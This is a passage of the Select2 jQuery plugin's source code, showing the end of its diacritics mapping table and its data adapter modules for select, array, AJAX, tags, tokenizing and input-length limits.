    '\u1ED4': 'O',
    '\u00D5': 'O',
    '\u1E4C': 'O',
    '\u022C': 'O',
    '\u1E4E': 'O',
    '\u014C': 'O',
    '\u1E50': 'O',
    '\u1E52': 'O',
    '\u014E': 'O',
    '\u022E': 'O',
    '\u0230': 'O',
    '\u00D6': 'O',
    '\u022A': 'O',
    '\u1ECE': 'O',
    '\u0150': 'O',
    '\u01D1': 'O',
    '\u020C': 'O',
    '\u020E': 'O',
    '\u01A0': 'O',
    '\u1EDC': 'O',
    '\u1EDA': 'O',
    '\u1EE0': 'O',
    '\u1EDE': 'O',
    '\u1EE2': 'O',
    '\u1ECC': 'O',
    '\u1ED8': 'O',
    '\u01EA': 'O',
    '\u01EC': 'O',
    '\u00D8': 'O',
    '\u01FE': 'O',
    '\u0186': 'O',
    '\u019F': 'O',
    '\uA74A': 'O',
    '\uA74C': 'O',
    '\u0152': 'OE',
    '\u01A2': 'OI',
    '\uA74E': 'OO',
    '\u0222': 'OU',
    '\u24C5': 'P',
    '\uFF30': 'P',
    '\u1E54': 'P',
    '\u1E56': 'P',
    '\u01A4': 'P',
    '\u2C63': 'P',
    '\uA750': 'P',
    '\uA752': 'P',
    '\uA754': 'P',
    '\u24C6': 'Q',
    '\uFF31': 'Q',
    '\uA756': 'Q',
    '\uA758': 'Q',
    '\u024A': 'Q',
    '\u24C7': 'R',
    '\uFF32': 'R',
    '\u0154': 'R',
    '\u1E58': 'R',
    '\u0158': 'R',
    '\u0210': 'R',
    '\u0212': 'R',
    '\u1E5A': 'R',
    '\u1E5C': 'R',
    '\u0156': 'R',
    '\u1E5E': 'R',
    '\u024C': 'R',
    '\u2C64': 'R',
    '\uA75A': 'R',
    '\uA7A6': 'R',
    '\uA782': 'R',
    '\u24C8': 'S',
    '\uFF33': 'S',
    '\u1E9E': 'S',
    '\u015A': 'S',
    '\u1E64': 'S',
    '\u015C': 'S',
    '\u1E60': 'S',
    '\u0160': 'S',
    '\u1E66': 'S',
    '\u1E62': 'S',
    '\u1E68': 'S',
    '\u0218': 'S',
    '\u015E': 'S',
    '\u2C7E': 'S',
    '\uA7A8': 'S',
    '\uA784': 'S',
    '\u24C9': 'T',
    '\uFF34': 'T',
    '\u1E6A': 'T',
    '\u0164': 'T',
    '\u1E6C': 'T',
    '\u021A': 'T',
    '\u0162': 'T',
    '\u1E70': 'T',
    '\u1E6E': 'T',
    '\u0166': 'T',
    '\u01AC': 'T',
    '\u01AE': 'T',
    '\u023E': 'T',
    '\uA786': 'T',
    '\uA728': 'TZ',
    '\u24CA': 'U',
    '\uFF35': 'U',
    '\u00D9': 'U',
    '\u00DA': 'U',
    '\u00DB': 'U',
    '\u0168': 'U',
    '\u1E78': 'U',
    '\u016A': 'U',
    '\u1E7A': 'U',
    '\u016C': 'U',
    '\u00DC': 'U',
    '\u01DB': 'U',
    '\u01D7': 'U',
    '\u01D5': 'U',
    '\u01D9': 'U',
    '\u1EE6': 'U',
    '\u016E': 'U',
    '\u0170': 'U',
    '\u01D3': 'U',
    '\u0214': 'U',
    '\u0216': 'U',
    '\u01AF': 'U',
    '\u1EEA': 'U',
    '\u1EE8': 'U',
    '\u1EEE': 'U',
    '\u1EEC': 'U',
    '\u1EF0': 'U',
    '\u1EE4': 'U',
    '\u1E72': 'U',
    '\u0172': 'U',
    '\u1E76': 'U',
    '\u1E74': 'U',
    '\u0244': 'U',
    '\u24CB': 'V',
    '\uFF36': 'V',
    '\u1E7C': 'V',
    '\u1E7E': 'V',
    '\u01B2': 'V',
    '\uA75E': 'V',
    '\u0245': 'V',
    '\uA760': 'VY',
    '\u24CC': 'W',
    '\uFF37': 'W',
    '\u1E80': 'W',
    '\u1E82': 'W',
    '\u0174': 'W',
    '\u1E86': 'W',
    '\u1E84': 'W',
    '\u1E88': 'W',
    '\u2C72': 'W',
    '\u24CD': 'X',
    '\uFF38': 'X',
    '\u1E8A': 'X',
    '\u1E8C': 'X',
    '\u24CE': 'Y',
    '\uFF39': 'Y',
    '\u1EF2': 'Y',
    '\u00DD': 'Y',
    '\u0176': 'Y',
    '\u1EF8': 'Y',
    '\u0232': 'Y',
    '\u1E8E': 'Y',
    '\u0178': 'Y',
    '\u1EF6': 'Y',
    '\u1EF4': 'Y',
    '\u01B3': 'Y',
    '\u024E': 'Y',
    '\u1EFE': 'Y',
    '\u24CF': 'Z',
    '\uFF3A': 'Z',
    '\u0179': 'Z',
    '\u1E90': 'Z',
    '\u017B': 'Z',
    '\u017D': 'Z',
    '\u1E92': 'Z',
    '\u1E94': 'Z',
    '\u01B5': 'Z',
    '\u0224': 'Z',
    '\u2C7F': 'Z',
    '\u2C6B': 'Z',
    '\uA762': 'Z',
    '\u24D0': 'a',
    '\uFF41': 'a',
    '\u1E9A': 'a',
    '\u00E0': 'a',
    '\u00E1': 'a',
    '\u00E2': 'a',
    '\u1EA7': 'a',
    '\u1EA5': 'a',
    '\u1EAB': 'a',
    '\u1EA9': 'a',
    '\u00E3': 'a',
    '\u0101': 'a',
    '\u0103': 'a',
    '\u1EB1': 'a',
    '\u1EAF': 'a',
    '\u1EB5': 'a',
    '\u1EB3': 'a',
    '\u0227': 'a',
    '\u01E1': 'a',
    '\u00E4': 'a',
    '\u01DF': 'a',
    '\u1EA3': 'a',
    '\u00E5': 'a',
    '\u01FB': 'a',
    '\u01CE': 'a',
    '\u0201': 'a',
    '\u0203': 'a',
    '\u1EA1': 'a',
    '\u1EAD': 'a',
    '\u1EB7': 'a',
    '\u1E01': 'a',
    '\u0105': 'a',
    '\u2C65': 'a',
    '\u0250': 'a',
    '\uA733': 'aa',
    '\u00E6': 'ae',
    '\u01FD': 'ae',
    '\u01E3': 'ae',
    '\uA735': 'ao',
    '\uA737': 'au',
    '\uA739': 'av',
    '\uA73B': 'av',
    '\uA73D': 'ay',
    '\u24D1': 'b',
    '\uFF42': 'b',
    '\u1E03': 'b',
    '\u1E05': 'b',
    '\u1E07': 'b',
    '\u0180': 'b',
    '\u0183': 'b',
    '\u0253': 'b',
    '\u24D2': 'c',
    '\uFF43': 'c',
    '\u0107': 'c',
    '\u0109': 'c',
    '\u010B': 'c',
    '\u010D': 'c',
    '\u00E7': 'c',
    '\u1E09': 'c',
    '\u0188': 'c',
    '\u023C': 'c',
    '\uA73F': 'c',
    '\u2184': 'c',
    '\u24D3': 'd',
    '\uFF44': 'd',
    '\u1E0B': 'd',
    '\u010F': 'd',
    '\u1E0D': 'd',
    '\u1E11': 'd',
    '\u1E13': 'd',
    '\u1E0F': 'd',
    '\u0111': 'd',
    '\u018C': 'd',
    '\u0256': 'd',
    '\u0257': 'd',
    '\uA77A': 'd',
    '\u01F3': 'dz',
    '\u01C6': 'dz',
    '\u24D4': 'e',
    '\uFF45': 'e',
    '\u00E8': 'e',
    '\u00E9': 'e',
    '\u00EA': 'e',
    '\u1EC1': 'e',
    '\u1EBF': 'e',
    '\u1EC5': 'e',
    '\u1EC3': 'e',
    '\u1EBD': 'e',
    '\u0113': 'e',
    '\u1E15': 'e',
    '\u1E17': 'e',
    '\u0115': 'e',
    '\u0117': 'e',
    '\u00EB': 'e',
    '\u1EBB': 'e',
    '\u011B': 'e',
    '\u0205': 'e',
    '\u0207': 'e',
    '\u1EB9': 'e',
    '\u1EC7': 'e',
    '\u0229': 'e',
    '\u1E1D': 'e',
    '\u0119': 'e',
    '\u1E19': 'e',
    '\u1E1B': 'e',
    '\u0247': 'e',
    '\u025B': 'e',
    '\u01DD': 'e',
    '\u24D5': 'f',
    '\uFF46': 'f',
    '\u1E1F': 'f',
    '\u0192': 'f',
    '\uA77C': 'f',
    '\u24D6': 'g',
    '\uFF47': 'g',
    '\u01F5': 'g',
    '\u011D': 'g',
    '\u1E21': 'g',
    '\u011F': 'g',
    '\u0121': 'g',
    '\u01E7': 'g',
    '\u0123': 'g',
    '\u01E5': 'g',
    '\u0260': 'g',
    '\uA7A1': 'g',
    '\u1D79': 'g',
    '\uA77F': 'g',
    '\u24D7': 'h',
    '\uFF48': 'h',
    '\u0125': 'h',
    '\u1E23': 'h',
    '\u1E27': 'h',
    '\u021F': 'h',
    '\u1E25': 'h',
    '\u1E29': 'h',
    '\u1E2B': 'h',
    '\u1E96': 'h',
    '\u0127': 'h',
    '\u2C68': 'h',
    '\u2C76': 'h',
    '\u0265': 'h',
    '\u0195': 'hv',
    '\u24D8': 'i',
    '\uFF49': 'i',
    '\u00EC': 'i',
    '\u00ED': 'i',
    '\u00EE': 'i',
    '\u0129': 'i',
    '\u012B': 'i',
    '\u012D': 'i',
    '\u00EF': 'i',
    '\u1E2F': 'i',
    '\u1EC9': 'i',
    '\u01D0': 'i',
    '\u0209': 'i',
    '\u020B': 'i',
    '\u1ECB': 'i',
    '\u012F': 'i',
    '\u1E2D': 'i',
    '\u0268': 'i',
    '\u0131': 'i',
    '\u24D9': 'j',
    '\uFF4A': 'j',
    '\u0135': 'j',
    '\u01F0': 'j',
    '\u0249': 'j',
    '\u24DA': 'k',
    '\uFF4B': 'k',
    '\u1E31': 'k',
    '\u01E9': 'k',
    '\u1E33': 'k',
    '\u0137': 'k',
    '\u1E35': 'k',
    '\u0199': 'k',
    '\u2C6A': 'k',
    '\uA741': 'k',
    '\uA743': 'k',
    '\uA745': 'k',
    '\uA7A3': 'k',
    '\u24DB': 'l',
    '\uFF4C': 'l',
    '\u0140': 'l',
    '\u013A': 'l',
    '\u013E': 'l',
    '\u1E37': 'l',
    '\u1E39': 'l',
    '\u013C': 'l',
    '\u1E3D': 'l',
    '\u1E3B': 'l',
    '\u017F': 'l',
    '\u0142': 'l',
    '\u019A': 'l',
    '\u026B': 'l',
    '\u2C61': 'l',
    '\uA749': 'l',
    '\uA781': 'l',
    '\uA747': 'l',
    '\u01C9': 'lj',
    '\u24DC': 'm',
    '\uFF4D': 'm',
    '\u1E3F': 'm',
    '\u1E41': 'm',
    '\u1E43': 'm',
    '\u0271': 'm',
    '\u026F': 'm',
    '\u24DD': 'n',
    '\uFF4E': 'n',
    '\u01F9': 'n',
    '\u0144': 'n',
    '\u00F1': 'n',
    '\u1E45': 'n',
    '\u0148': 'n',
    '\u1E47': 'n',
    '\u0146': 'n',
    '\u1E4B': 'n',
    '\u1E49': 'n',
    '\u019E': 'n',
    '\u0272': 'n',
    '\u0149': 'n',
    '\uA791': 'n',
    '\uA7A5': 'n',
    '\u01CC': 'nj',
    '\u24DE': 'o',
    '\uFF4F': 'o',
    '\u00F2': 'o',
    '\u00F3': 'o',
    '\u00F4': 'o',
    '\u1ED3': 'o',
    '\u1ED1': 'o',
    '\u1ED7': 'o',
    '\u1ED5': 'o',
    '\u00F5': 'o',
    '\u1E4D': 'o',
    '\u022D': 'o',
    '\u1E4F': 'o',
    '\u014D': 'o',
    '\u1E51': 'o',
    '\u1E53': 'o',
    '\u014F': 'o',
    '\u022F': 'o',
    '\u0231': 'o',
    '\u00F6': 'o',
    '\u022B': 'o',
    '\u1ECF': 'o',
    '\u0151': 'o',
    '\u01D2': 'o',
    '\u020D': 'o',
    '\u020F': 'o',
    '\u01A1': 'o',
    '\u1EDD': 'o',
    '\u1EDB': 'o',
    '\u1EE1': 'o',
    '\u1EDF': 'o',
    '\u1EE3': 'o',
    '\u1ECD': 'o',
    '\u1ED9': 'o',
    '\u01EB': 'o',
    '\u01ED': 'o',
    '\u00F8': 'o',
    '\u01FF': 'o',
    '\u0254': 'o',
    '\uA74B': 'o',
    '\uA74D': 'o',
    '\u0275': 'o',
    '\u0153': 'oe',
    '\u01A3': 'oi',
    '\u0223': 'ou',
    '\uA74F': 'oo',
    '\u24DF': 'p',
    '\uFF50': 'p',
    '\u1E55': 'p',
    '\u1E57': 'p',
    '\u01A5': 'p',
    '\u1D7D': 'p',
    '\uA751': 'p',
    '\uA753': 'p',
    '\uA755': 'p',
    '\u24E0': 'q',
    '\uFF51': 'q',
    '\u024B': 'q',
    '\uA757': 'q',
    '\uA759': 'q',
    '\u24E1': 'r',
    '\uFF52': 'r',
    '\u0155': 'r',
    '\u1E59': 'r',
    '\u0159': 'r',
    '\u0211': 'r',
    '\u0213': 'r',
    '\u1E5B': 'r',
    '\u1E5D': 'r',
    '\u0157': 'r',
    '\u1E5F': 'r',
    '\u024D': 'r',
    '\u027D': 'r',
    '\uA75B': 'r',
    '\uA7A7': 'r',
    '\uA783': 'r',
    '\u24E2': 's',
    '\uFF53': 's',
    '\u00DF': 's',
    '\u015B': 's',
    '\u1E65': 's',
    '\u015D': 's',
    '\u1E61': 's',
    '\u0161': 's',
    '\u1E67': 's',
    '\u1E63': 's',
    '\u1E69': 's',
    '\u0219': 's',
    '\u015F': 's',
    '\u023F': 's',
    '\uA7A9': 's',
    '\uA785': 's',
    '\u1E9B': 's',
    '\u24E3': 't',
    '\uFF54': 't',
    '\u1E6B': 't',
    '\u1E97': 't',
    '\u0165': 't',
    '\u1E6D': 't',
    '\u021B': 't',
    '\u0163': 't',
    '\u1E71': 't',
    '\u1E6F': 't',
    '\u0167': 't',
    '\u01AD': 't',
    '\u0288': 't',
    '\u2C66': 't',
    '\uA787': 't',
    '\uA729': 'tz',
    '\u24E4': 'u',
    '\uFF55': 'u',
    '\u00F9': 'u',
    '\u00FA': 'u',
    '\u00FB': 'u',
    '\u0169': 'u',
    '\u1E79': 'u',
    '\u016B': 'u',
    '\u1E7B': 'u',
    '\u016D': 'u',
    '\u00FC': 'u',
    '\u01DC': 'u',
    '\u01D8': 'u',
    '\u01D6': 'u',
    '\u01DA': 'u',
    '\u1EE7': 'u',
    '\u016F': 'u',
    '\u0171': 'u',
    '\u01D4': 'u',
    '\u0215': 'u',
    '\u0217': 'u',
    '\u01B0': 'u',
    '\u1EEB': 'u',
    '\u1EE9': 'u',
    '\u1EEF': 'u',
    '\u1EED': 'u',
    '\u1EF1': 'u',
    '\u1EE5': 'u',
    '\u1E73': 'u',
    '\u0173': 'u',
    '\u1E77': 'u',
    '\u1E75': 'u',
    '\u0289': 'u',
    '\u24E5': 'v',
    '\uFF56': 'v',
    '\u1E7D': 'v',
    '\u1E7F': 'v',
    '\u028B': 'v',
    '\uA75F': 'v',
    '\u028C': 'v',
    '\uA761': 'vy',
    '\u24E6': 'w',
    '\uFF57': 'w',
    '\u1E81': 'w',
    '\u1E83': 'w',
    '\u0175': 'w',
    '\u1E87': 'w',
    '\u1E85': 'w',
    '\u1E98': 'w',
    '\u1E89': 'w',
    '\u2C73': 'w',
    '\u24E7': 'x',
    '\uFF58': 'x',
    '\u1E8B': 'x',
    '\u1E8D': 'x',
    '\u24E8': 'y',
    '\uFF59': 'y',
    '\u1EF3': 'y',
    '\u00FD': 'y',
    '\u0177': 'y',
    '\u1EF9': 'y',
    '\u0233': 'y',
    '\u1E8F': 'y',
    '\u00FF': 'y',
    '\u1EF7': 'y',
    '\u1E99': 'y',
    '\u1EF5': 'y',
    '\u01B4': 'y',
    '\u024F': 'y',
    '\u1EFF': 'y',
    '\u24E9': 'z',
    '\uFF5A': 'z',
    '\u017A': 'z',
    '\u1E91': 'z',
    '\u017C': 'z',
    '\u017E': 'z',
    '\u1E93': 'z',
    '\u1E95': 'z',
    '\u01B6': 'z',
    '\u0225': 'z',
    '\u0240': 'z',
    '\u2C6C': 'z',
    '\uA763': 'z',
    '\u0386': '\u0391',
    '\u0388': '\u0395',
    '\u0389': '\u0397',
    '\u038A': '\u0399',
    '\u03AA': '\u0399',
    '\u038C': '\u039F',
    '\u038E': '\u03A5',
    '\u03AB': '\u03A5',
    '\u038F': '\u03A9',
    '\u03AC': '\u03B1',
    '\u03AD': '\u03B5',
    '\u03AE': '\u03B7',
    '\u03AF': '\u03B9',
    '\u03CA': '\u03B9',
    '\u0390': '\u03B9',
    '\u03CC': '\u03BF',
    '\u03CD': '\u03C5',
    '\u03CB': '\u03C5',
    '\u03B0': '\u03C5',
    '\u03CE': '\u03C9',
    '\u03C2': '\u03C3',
    '\u2019': '\''
  };

  return diacritics;
});

S2.define('select2/data/base',[
  '../utils'
], function (Utils) {
  function BaseAdapter ($element, options) {
    BaseAdapter.__super__.constructor.call(this);
  }

  Utils.Extend(BaseAdapter, Utils.Observable);

  BaseAdapter.prototype.current = function (callback) {
    throw new Error('The `current` method must be defined in child classes.');
  };

  BaseAdapter.prototype.query = function (params, callback) {
    throw new Error('The `query` method must be defined in child classes.');
  };

  BaseAdapter.prototype.bind = function (container, $container) {
    // Can be implemented in subclasses
  };

  BaseAdapter.prototype.destroy = function () {
    // Can be implemented in subclasses
  };

  BaseAdapter.prototype.generateResultId = function (container, data) {
    var id = container.id + '-result-';

    id += Utils.generateChars(4);

    if (data.id != null) {
      id += '-' + data.id.toString();
    } else {
      id += '-' + Utils.generateChars(4);
    }
    return id;
  };

  return BaseAdapter;
});

S2.define('select2/data/select',[
  './base',
  '../utils',
  'jquery'
], function (BaseAdapter, Utils, $) {
  function SelectAdapter ($element, options) {
    this.$element = $element;
    this.options = options;

    SelectAdapter.__super__.constructor.call(this);
  }

  Utils.Extend(SelectAdapter, BaseAdapter);

  SelectAdapter.prototype.current = function (callback) {
    var data = [];
    var self = this;

    this.$element.find(':selected').each(function () {
      var $option = $(this);

      var option = self.item($option);

      data.push(option);
    });

    callback(data);
  };

  SelectAdapter.prototype.select = function (data) {
    var self = this;

    data.selected = true;

    // If data.element is a DOM node, use it instead
    if ($(data.element).is('option')) {
      data.element.selected = true;

      this.$element.trigger('input').trigger('change');

      return;
    }

    if (this.$element.prop('multiple')) {
      this.current(function (currentData) {
        var val = [];

        data = [data];
        data.push.apply(data, currentData);

        for (var d = 0; d < data.length; d++) {
          var id = data[d].id;

          if ($.inArray(id, val) === -1) {
            val.push(id);
          }
        }

        self.$element.val(val);
        self.$element.trigger('input').trigger('change');
      });
    } else {
      var val = data.id;

      this.$element.val(val);
      this.$element.trigger('input').trigger('change');
    }
  };

  SelectAdapter.prototype.unselect = function (data) {
    var self = this;

    if (!this.$element.prop('multiple')) {
      return;
    }

    data.selected = false;

    if ($(data.element).is('option')) {
      data.element.selected = false;

      this.$element.trigger('input').trigger('change');

      return;
    }

    this.current(function (currentData) {
      var val = [];

      for (var d = 0; d < currentData.length; d++) {
        var id = currentData[d].id;

        if (id !== data.id && $.inArray(id, val) === -1) {
          val.push(id);
        }
      }

      self.$element.val(val);

      self.$element.trigger('input').trigger('change');
    });
  };

  SelectAdapter.prototype.bind = function (container, $container) {
    var self = this;

    this.container = container;

    container.on('select', function (params) {
      self.select(params.data);
    });

    container.on('unselect', function (params) {
      self.unselect(params.data);
    });
  };

  SelectAdapter.prototype.destroy = function () {
    // Remove anything added to child elements
    this.$element.find('*').each(function () {
      // Remove any custom data set by Select2
      Utils.RemoveData(this);
    });
  };

  SelectAdapter.prototype.query = function (params, callback) {
    var data = [];
    var self = this;

    var $options = this.$element.children();

    $options.each(function () {
      var $option = $(this);

      if (!$option.is('option') && !$option.is('optgroup')) {
        return;
      }

      var option = self.item($option);

      var matches = self.matches(params, option);

      if (matches !== null) {
        data.push(matches);
      }
    });

    callback({
      results: data
    });
  };

  SelectAdapter.prototype.addOptions = function ($options) {
    Utils.appendMany(this.$element, $options);
  };

  SelectAdapter.prototype.option = function (data) {
    var option;

    if (data.children) {
      option = document.createElement('optgroup');
      option.label = data.text;
    } else {
      option = document.createElement('option');

      if (option.textContent !== undefined) {
        option.textContent = data.text;
      } else {
        option.innerText = data.text;
      }
    }

    if (data.id !== undefined) {
      option.value = data.id;
    }

    if (data.disabled) {
      option.disabled = true;
    }

    if (data.selected) {
      option.selected = true;
    }

    if (data.title) {
      option.title = data.title;
    }

    var $option = $(option);

    var normalizedData = this._normalizeItem(data);
    normalizedData.element = option;

    // Override the option's data with the combined data
    Utils.StoreData(option, 'data', normalizedData);

    return $option;
  };

  SelectAdapter.prototype.item = function ($option) {
    var data = {};

    data = Utils.GetData($option[0], 'data');

    if (data != null) {
      return data;
    }

    if ($option.is('option')) {
      data = {
        id: $option.val(),
        text: $option.text(),
        disabled: $option.prop('disabled'),
        selected: $option.prop('selected'),
        title: $option.prop('title')
      };
    } else if ($option.is('optgroup')) {
      data = {
        text: $option.prop('label'),
        children: [],
        title: $option.prop('title')
      };

      var $children = $option.children('option');
      var children = [];

      for (var c = 0; c < $children.length; c++) {
        var $child = $($children[c]);

        var child = this.item($child);

        children.push(child);
      }

      data.children = children;
    }

    data = this._normalizeItem(data);
    data.element = $option[0];

    Utils.StoreData($option[0], 'data', data);

    return data;
  };

  SelectAdapter.prototype._normalizeItem = function (item) {
    if (item !== Object(item)) {
      item = {
        id: item,
        text: item
      };
    }

    item = $.extend({}, {
      text: ''
    }, item);

    var defaults = {
      selected: false,
      disabled: false
    };

    if (item.id != null) {
      item.id = item.id.toString();
    }

    if (item.text != null) {
      item.text = item.text.toString();
    }

    if (item._resultId == null && item.id && this.container != null) {
      item._resultId = this.generateResultId(this.container, item);
    }

    return $.extend({}, defaults, item);
  };

  SelectAdapter.prototype.matches = function (params, data) {
    var matcher = this.options.get('matcher');

    return matcher(params, data);
  };

  return SelectAdapter;
});

S2.define('select2/data/array',[
  './select',
  '../utils',
  'jquery'
], function (SelectAdapter, Utils, $) {
  function ArrayAdapter ($element, options) {
    this._dataToConvert = options.get('data') || [];

    ArrayAdapter.__super__.constructor.call(this, $element, options);
  }

  Utils.Extend(ArrayAdapter, SelectAdapter);

  ArrayAdapter.prototype.bind = function (container, $container) {
    ArrayAdapter.__super__.bind.call(this, container, $container);

    this.addOptions(this.convertToOptions(this._dataToConvert));
  };

  ArrayAdapter.prototype.select = function (data) {
    var $option = this.$element.find('option').filter(function (i, elm) {
      return elm.value == data.id.toString();
    });

    if ($option.length === 0) {
      $option = this.option(data);

      this.addOptions($option);
    }

    ArrayAdapter.__super__.select.call(this, data);
  };

  ArrayAdapter.prototype.convertToOptions = function (data) {
    var self = this;

    var $existing = this.$element.find('option');
    var existingIds = $existing.map(function () {
      return self.item($(this)).id;
    }).get();

    var $options = [];

    // Filter out all items except for the one passed in the argument
    function onlyItem (item) {
      return function () {
        return $(this).val() == item.id;
      };
    }

    for (var d = 0; d < data.length; d++) {
      var item = this._normalizeItem(data[d]);

      // Skip items which were pre-loaded, only merge the data
      if ($.inArray(item.id, existingIds) >= 0) {
        var $existingOption = $existing.filter(onlyItem(item));

        var existingData = this.item($existingOption);
        var newData = $.extend(true, {}, item, existingData);

        var $newOption = this.option(newData);

        $existingOption.replaceWith($newOption);

        continue;
      }

      var $option = this.option(item);

      if (item.children) {
        var $children = this.convertToOptions(item.children);

        Utils.appendMany($option, $children);
      }

      $options.push($option);
    }

    return $options;
  };

  return ArrayAdapter;
});

S2.define('select2/data/ajax',[
  './array',
  '../utils',
  'jquery'
], function (ArrayAdapter, Utils, $) {
  function AjaxAdapter ($element, options) {
    this.ajaxOptions = this._applyDefaults(options.get('ajax'));

    if (this.ajaxOptions.processResults != null) {
      this.processResults = this.ajaxOptions.processResults;
    }

    AjaxAdapter.__super__.constructor.call(this, $element, options);
  }

  Utils.Extend(AjaxAdapter, ArrayAdapter);

  AjaxAdapter.prototype._applyDefaults = function (options) {
    var defaults = {
      data: function (params) {
        return $.extend({}, params, {
          q: params.term
        });
      },
      transport: function (params, success, failure) {
        var $request = $.ajax(params);

        $request.then(success);
        $request.fail(failure);

        return $request;
      }
    };

    return $.extend({}, defaults, options, true);
  };

  AjaxAdapter.prototype.processResults = function (results) {
    return results;
  };

  AjaxAdapter.prototype.query = function (params, callback) {
    var matches = [];
    var self = this;

    if (this._request != null) {
      // JSONP requests cannot always be aborted
      if ($.isFunction(this._request.abort)) {
        this._request.abort();
      }

      this._request = null;
    }

    var options = $.extend({
      type: 'GET'
    }, this.ajaxOptions);

    if (typeof options.url === 'function') {
      options.url = options.url.call(this.$element, params);
    }

    if (typeof options.data === 'function') {
      options.data = options.data.call(this.$element, params);
    }

    function request () {
      var $request = options.transport(options, function (data) {
        var results = self.processResults(data, params);

        if (self.options.get('debug') && window.console && console.error) {
          // Check to make sure that the response included a `results` key.
          if (!results || !results.results || !$.isArray(results.results)) {
            console.error(
              'Select2: The AJAX results did not return an array in the ' +
              '`results` key of the response.'
            );
          }
        }

        callback(results);
      }, function () {
        // Attempt to detect if a request was aborted
        // Only works if the transport exposes a status property
        if ('status' in $request &&
            ($request.status === 0 || $request.status === '0')) {
          return;
        }

        self.trigger('results:message', {
          message: 'errorLoading'
        });
      });

      self._request = $request;
    }

    if (this.ajaxOptions.delay && params.term != null) {
      if (this._queryTimeout) {
        window.clearTimeout(this._queryTimeout);
      }

      this._queryTimeout = window.setTimeout(request, this.ajaxOptions.delay);
    } else {
      request();
    }
  };

  return AjaxAdapter;
});

S2.define('select2/data/tags',[
  'jquery'
], function ($) {
  function Tags (decorated, $element, options) {
    var tags = options.get('tags');

    var createTag = options.get('createTag');

    if (createTag !== undefined) {
      this.createTag = createTag;
    }

    var insertTag = options.get('insertTag');

    if (insertTag !== undefined) {
        this.insertTag = insertTag;
    }

    decorated.call(this, $element, options);

    if ($.isArray(tags)) {
      for (var t = 0; t < tags.length; t++) {
        var tag = tags[t];
        var item = this._normalizeItem(tag);

        var $option = this.option(item);

        this.$element.append($option);
      }
    }
  }

  Tags.prototype.query = function (decorated, params, callback) {
    var self = this;

    this._removeOldTags();

    if (params.term == null || params.page != null) {
      decorated.call(this, params, callback);
      return;
    }

    function wrapper (obj, child) {
      var data = obj.results;

      for (var i = 0; i < data.length; i++) {
        var option = data[i];

        var checkChildren = (
          option.children != null &&
          !wrapper({
            results: option.children
          }, true)
        );

        var optionText = (option.text || '').toUpperCase();
        var paramsTerm = (params.term || '').toUpperCase();

        var checkText = optionText === paramsTerm;

        if (checkText || checkChildren) {
          if (child) {
            return false;
          }

          obj.data = data;
          callback(obj);

          return;
        }
      }

      if (child) {
        return true;
      }

      var tag = self.createTag(params);

      if (tag != null) {
        var $option = self.option(tag);
        $option.attr('data-select2-tag', true);

        self.addOptions([$option]);

        self.insertTag(data, tag);
      }

      obj.results = data;

      callback(obj);
    }

    decorated.call(this, params, wrapper);
  };

  Tags.prototype.createTag = function (decorated, params) {
    var term = $.trim(params.term);

    if (term === '') {
      return null;
    }

    return {
      id: term,
      text: term
    };
  };

  Tags.prototype.insertTag = function (_, data, tag) {
    data.unshift(tag);
  };

  Tags.prototype._removeOldTags = function (_) {
    var $options = this.$element.find('option[data-select2-tag]');

    $options.each(function () {
      if (this.selected) {
        return;
      }

      $(this).remove();
    });
  };

  return Tags;
});

S2.define('select2/data/tokenizer',[
  'jquery'
], function ($) {
  function Tokenizer (decorated, $element, options) {
    var tokenizer = options.get('tokenizer');

    if (tokenizer !== undefined) {
      this.tokenizer = tokenizer;
    }

    decorated.call(this, $element, options);
  }

  Tokenizer.prototype.bind = function (decorated, container, $container) {
    decorated.call(this, container, $container);

    this.$search =  container.dropdown.$search || container.selection.$search ||
      $container.find('.select2-search__field');
  };

  Tokenizer.prototype.query = function (decorated, params, callback) {
    var self = this;

    function createAndSelect (data) {
      // Normalize the data object so we can use it for checks
      var item = self._normalizeItem(data);

      // Check if the data object already exists as a tag
      // Select it if it doesn't
      var $existingOptions = self.$element.find('option').filter(function () {
        return $(this).val() === item.id;
      });

      // If an existing option wasn't found for it, create the option
      if (!$existingOptions.length) {
        var $option = self.option(item);
        $option.attr('data-select2-tag', true);

        self._removeOldTags();
        self.addOptions([$option]);
      }

      // Select the item, now that we know there is an option for it
      select(item);
    }

    function select (data) {
      self.trigger('select', {
        data: data
      });
    }

    params.term = params.term || '';

    var tokenData = this.tokenizer(params, this.options, createAndSelect);

    if (tokenData.term !== params.term) {
      // Replace the search term if we have the search box
      if (this.$search.length) {
        this.$search.val(tokenData.term);
        this.$search.trigger('focus');
      }

      params.term = tokenData.term;
    }

    decorated.call(this, params, callback);
  };

  Tokenizer.prototype.tokenizer = function (_, params, options, callback) {
    var separators = options.get('tokenSeparators') || [];
    var term = params.term;
    var i = 0;

    var createTag = this.createTag || function (params) {
      return {
        id: params.term,
        text: params.term
      };
    };

    while (i < term.length) {
      var termChar = term[i];

      if ($.inArray(termChar, separators) === -1) {
        i++;

        continue;
      }

      var part = term.substr(0, i);
      var partParams = $.extend({}, params, {
        term: part
      });

      var data = createTag(partParams);

      if (data == null) {
        i++;
        continue;
      }

      callback(data);

      // Reset the term to not include the tokenized portion
      term = term.substr(i + 1) || '';
      i = 0;
    }

    return {
      term: term
    };
  };

  return Tokenizer;
});

S2.define('select2/data/minimumInputLength',[

], function () {
  function MinimumInputLength (decorated, $e, options) {
    this.minimumInputLength = options.get('minimumInputLength');

    decorated.call(this, $e, options);
  }

  MinimumInputLength.prototype.query = function (decorated, params, callback) {
    params.term = params.term || '';

    if (params.term.length < this.minimumInputLength) {
      this.trigger('results:message', {
        message: 'inputTooShort',
        args: {
          minimum: this.minimumInputLength,
          input: params.term,
          params: params
        }
      });

      return;
    }

    decorated.call(this, params, callback);
  };

  return MinimumInputLength;
});

S2.define('select2/data/maximumInputLength',[

], function () {
  function MaximumInputLength (decorated, $e, options) {
    this.maximumInputLength = options.get('maximumInputLength');

    decorated.call(this, $e, options);
  }

  MaximumInputLength.prototype.query = function (decorated, params, callback) {
    params.term = params.term || '';

    if (this.maximumInputLength > 0 &&
        params.term.length > this.maximumInputLength) {
      this.trigger('results:message', {
        message: 'inputTooLong',
        args: {
          maximum: this.maximumInputLength,
          input: params.term,
          params: params
        }
      });

      return;
    }

    decorated.call(this, params, callback);
  };

  return MaximumInputLength;
});

S2.define('select2/data/maximumSelectionLength',[

], function (){
  function MaximumSelectionLength (decorated, $e, options) {
    this.maximumSelectionLength = options.get('maximumSelectionLength');

    decorated.call(this, $e, options);
  }

  MaximumSelectionLength.prototype.bind =
    function (decorated, container, $container) {
      var self = this;

      decorated.call(this, container, $container);

      container.on('select', function () {
